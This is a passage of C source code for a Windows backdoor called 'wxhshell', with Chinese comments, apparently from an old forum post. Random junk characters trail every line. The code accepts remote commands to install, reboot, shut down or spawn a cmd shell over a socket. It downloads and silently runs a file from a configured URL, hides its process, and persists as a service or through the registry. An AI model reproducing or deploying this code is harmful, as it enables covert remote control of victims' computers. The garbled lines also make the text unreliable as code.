  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); De&6 9  
  } \Ae9\Jp8M  
  else { 2*iIjw3g  
Z\}K{#   
    switch(cmd[0]) { T~_/Vi  
  uxaYCa?  
  // 帮助 ({WyDu&=  
  case '?': { A:l@_*C..  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H<EQu|f&x  
    break; k%]=!5F  
  } P [Uy  
  // 安装 9ZXlR?GA  
  case 'i': { uocHa5J  
    if(Install()) j hbonuV_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); svf|\p>]H  
    else j z58E}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y5ZZ3Ati  
    break; 6Htg5o|W  
    } F# T 07<  
  // 卸载 9d[5{" 2j  
  case 'r': { D,qu-k[jMI  
    if(Uninstall()) v[e:qi&fG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )B,|@ynu  
    else 1K,1X(0rL8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \^7C0R-hX  
    break; U-/{0zB  
    } K"j_>63)  
  // 显示 wxhshell 所在路径 VA *y|Q6  
  case 'p': { D^%^xq )E  
    char svExeFile[MAX_PATH]; 'R`tLN  
    strcpy(svExeFile,"\n\r"); Suk  
      strcat(svExeFile,ExeFile); Sf5X3,Uw  
        send(wsh,svExeFile,strlen(svExeFile),0); p~ HW5\4  
    break; evkH05+;W  
    } Tou/5?# %e  
  // 重启 ]$b[` g&  
  case 'b': { l7#yZ*<v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6`vC1PK^  
    if(Boot(REBOOT)) M" ^PW,k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ./Q,  
    else { %NL^WG:  
    closesocket(wsh); ; bHV  
    ExitThread(0); ^j-3av=  
    } EF3Cdu{]P  
    break; $/!{OU.t`  
    } H"ZZ.^"5FV  
  // 关机 5p.rwNE  
  case 'd': { 7qTE('zt  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); otggN:^Qw  
    if(Boot(SHUTDOWN)) [kE."#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7i&:DePM'q  
    else { !,V{zTR  
    closesocket(wsh); 5waKI?4F  
    ExitThread(0); "HE^v_p  
    } \+aC"#+0  
    break; 5onm]V]  
    } 2^i(gaXUQ  
  // 获取shell P ;IrBq6|o  
  case 's': { y WV#Up  
    CmdShell(wsh); AL>$HB$  
    closesocket(wsh); qOIW(D  
    ExitThread(0); q.,JVGMS  
    break; 23 ~ Sjr  
  } Xy5e5K  
  // 退出 5^^XQ?"  
  case 'x': { 8\:NMP8W\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p<M\U"5Ye  
    CloseIt(wsh); Y>'|oygHA  
    break; kbM3  
    } 5mb]Q)f9-  
  // 离开 EkziAON  
  case 'q': { jH_JmYd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BcI |:qv|  
    closesocket(wsh); xyI}y(CN1  
    WSACleanup(); /7gOSwY  
    exit(1); q$=#A7H>3)  
    break; (<^yqH?  
        } w*R$o  
  } 8By|@LO  
  } L|p Z$HB  
Ol!ntNhXm  
  // 提示信息 _%QhOY5tv"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6Fe34n]m  
} }iuWAFZbGS  
  } j_Yp>=+[  
I_RsYw  
  return; qgfi\/$6  
} o"*AtGR+"  
YpqrZWvh  
// shell模块句柄 =ZqT3_  
int CmdShell(SOCKET sock) G;YrF)\  
{ r?/'!!4  
STARTUPINFO si; Fi0GknQ+  
ZeroMemory(&si,sizeof(si)); i-6 Z"b{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~c\e'&sc;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RsYU59_Y  
PROCESS_INFORMATION ProcessInfo; t<#h$}=:Vt  
char cmdline[]="cmd"; b9!FC$^J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WYr/oRO  
  return 0; BqT y~{)+  
} r(P(Rj2~  
lv04g} W  
// 自身启动模式 soQ1X@"0  
int StartFromService(void) OLE[UXD-E  
{ jbAx;Xt'=M  
typedef struct `^)jLuyu  
{ ' ET~  
  DWORD ExitStatus; :2ED jW  
  DWORD PebBaseAddress; 2 O%`G+\)  
  DWORD AffinityMask; *6 >.!&  
  DWORD BasePriority; mGK|ihYu  
  ULONG UniqueProcessId; s=;uc] 9g  
  ULONG InheritedFromUniqueProcessId; u?}(P_9  
}   PROCESS_BASIC_INFORMATION; b}"N`,0dO  
}|pwz   
PROCNTQSIP NtQueryInformationProcess; P09;ng67  
Hg=";,J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZusEfh?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P(f0R8BE  
NGbG4-w-  
  HANDLE             hProcess; GaK-t*Q  
  PROCESS_BASIC_INFORMATION pbi; e7sp =I ,  
<P=twT;P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qHrc9fB  
  if(NULL == hInst ) return 0; +8RgF   
p"KFJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ()6wvu}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >7QvK3S4%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =Lf,?"S  
XzEc2)0'v  
  if (!NtQueryInformationProcess) return 0; s*-n^o-  
TIQkW,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I+tb[*X+  
  if(!hProcess) return 0; tg<EY!WY  
q-}Fvel u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lIW }EM  
bAx-"Lu  
  CloseHandle(hProcess); SMpH._VFeE  
zo4qG+>o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y!nJg1  
if(hProcess==NULL) return 0; FG.em  
F9,DrB,B{  
HMODULE hMod; ,Y/ g2 4R  
char procName[255]; !:q/Ye3.  
unsigned long cbNeeded; t%E!o0+8Z  
sTn<#l6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hHV";bk  
e,W%uH>X  
  CloseHandle(hProcess); NTYg[VTr  
[PNT\ElT  
if(strstr(procName,"services")) return 1; // 以服务启动 ?#}N1k\S  
=A83W/4  
  return 0; // 注册表启动 e&&53?  
} BRgXr  
JvVWG'Z"  
// 主模块 cj$[E]B3V*  
int StartWxhshell(LPSTR lpCmdLine) UG+d-&~Ll  
{ 5kCUaPu  
  SOCKET wsl; 1;Ou7T9w  
BOOL val=TRUE; wea-zN  
  int port=0; b4[bL2J$h1  
  struct sockaddr_in door; H9YW  
Y^$X*U/q%U  
  if(wscfg.ws_autoins) Install(); W*Zkc:{eB  
DH\0z[  
port=atoi(lpCmdLine); ~?d Nd  
g/CSG IIT  
if(port<=0) port=wscfg.ws_port; S[PE$tYT#t  
0jy2H2  
  WSADATA data; DtXrWS/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VY |_d k  
t*Sa@$p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I ?gSG*m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (nf~x  
  door.sin_family = AF_INET; Z2qW\E^_r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "_-Po^u=r  
  door.sin_port = htons(port); %A1o.{H  
TO]@ Zu1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5z7U1:  
closesocket(wsl); gOSJM1Mr3  
return 1; ME46V6[LX]  
} =P't(<  
Q(wx nm  
  if(listen(wsl,2) == INVALID_SOCKET) { a&/#X9/  
closesocket(wsl); TaKLzd2  
return 1; PgtJ3oq [}  
} 1w@(5 ^V  
  Wxhshell(wsl); TN+iA~kQ  
  WSACleanup(); 42G)~lun-d  
:XZU&Sr"  
return 0; [j=yMP38!:  
+ B B@OW  
} s4A43i'g!h  
 oM2l-[-  
// 以NT服务方式启动 Q=;U@k@>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &"f";  
{ n}F&1Z  
DWORD   status = 0; JTO~9>$ B  
  DWORD   specificError = 0xfffffff; de.&`lPRf  
Dz>^IMsY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )h"<\%LU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8!O5quEc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uwzvbgup?  
  serviceStatus.dwWin32ExitCode     = 0; [$0p+1  
  serviceStatus.dwServiceSpecificExitCode = 0; ~zCEpU|@N  
  serviceStatus.dwCheckPoint       = 0; -JMdE_h  
  serviceStatus.dwWaitHint       = 0; {XR6>]  
x+ Ttl4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H?<N.Dq  
  if (hServiceStatusHandle==0) return; C'\- @/  
t<#mP@Mz=N  
status = GetLastError(); UQ)W%Y;[0  
  if (status!=NO_ERROR) 4|buk]9  
{ >7lx=T x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 60P#,o@G  
    serviceStatus.dwCheckPoint       = 0; `q}I"iS  
    serviceStatus.dwWaitHint       = 0; _<k\FU r  
    serviceStatus.dwWin32ExitCode     = status; }\tdcTMgS  
    serviceStatus.dwServiceSpecificExitCode = specificError; Xe6w|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;X?}x%$  
    return; 1O/+8yw  
  } R;s?$;I  
l~c@^!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ")O%86_Q:  
  serviceStatus.dwCheckPoint       = 0; [Y|8\Ph`&  
  serviceStatus.dwWaitHint       = 0; ~ELNyI11  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2`7==?  
} GPkmf%FJ  
PDJr<E?  
// 处理NT服务事件,比如:启动、停止 E7t+E)=8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7!@-*/|!S9  
{ EYtL_hNp}I  
switch(fdwControl) cii_U=   
{ wQqb`l7+  
case SERVICE_CONTROL_STOP: Isvx7$Vu+  
  serviceStatus.dwWin32ExitCode = 0; 6h|q'.Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z.7cy@N6  
  serviceStatus.dwCheckPoint   = 0; f[<m<I  
  serviceStatus.dwWaitHint     = 0; B:5Rr}eY+  
  { K-bD<X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *W.C7=  
  } <;vbsksZeH  
  return; f,h J~  
case SERVICE_CONTROL_PAUSE: h].<t&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "$#xK|t  
  break; @Z*W  
case SERVICE_CONTROL_CONTINUE: Dd'm U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >.Chl$)<  
  break; E(O74/2c8  
case SERVICE_CONTROL_INTERROGATE: oe%} ?u  
  break; $@z5kwx:P  
}; .z]Wyx&/U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +]*zlE\N`  
} VCY\be  
13=A  
// 标准应用程序主函数 [$qyF|/K`n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v25R_""~  
{ 4" Cb/y3  
;nep5!s;<  
// 获取操作系统版本 "fG8?)d;  
OsIsNt=GetOsVer(); n!YKz"$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hBS.a6u1'd  
f%SZg!+t  
  // 从命令行安装 [b 6R%  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1pt%Kw*@j  
_wTOmz%|R  
  // 下载执行文件 (KFCs^x7wG  
if(wscfg.ws_downexe) { C<NLE-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o C<.=2]  
  WinExec(wscfg.ws_filenam,SW_HIDE); g<l1zo`_  
} JSkLEa~<  
K~c=M",mW  
if(!OsIsNt) {  O{QA  
// 如果时win9x,隐藏进程并且设置为注册表启动 d;zai]]  
HideProc(); Wr<j!>J6Ki  
StartWxhshell(lpCmdLine); G/b^|;41  
} wG~`[>y (  
else 3vuivU.3  
  if(StartFromService()) SG6kud\b  
  // 以服务方式启动 5*+!+V^?X  
  StartServiceCtrlDispatcher(DispatchTable); j}%ja_9S  
else d6'{rje(  
  // 普通方式启动 c9HrMgW  
  StartWxhshell(lpCmdLine); *AG#316  
<oR a3Gi(%  
return 0; k[bD\'  
}
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只看该作者 1 发表于: 2006-10-10
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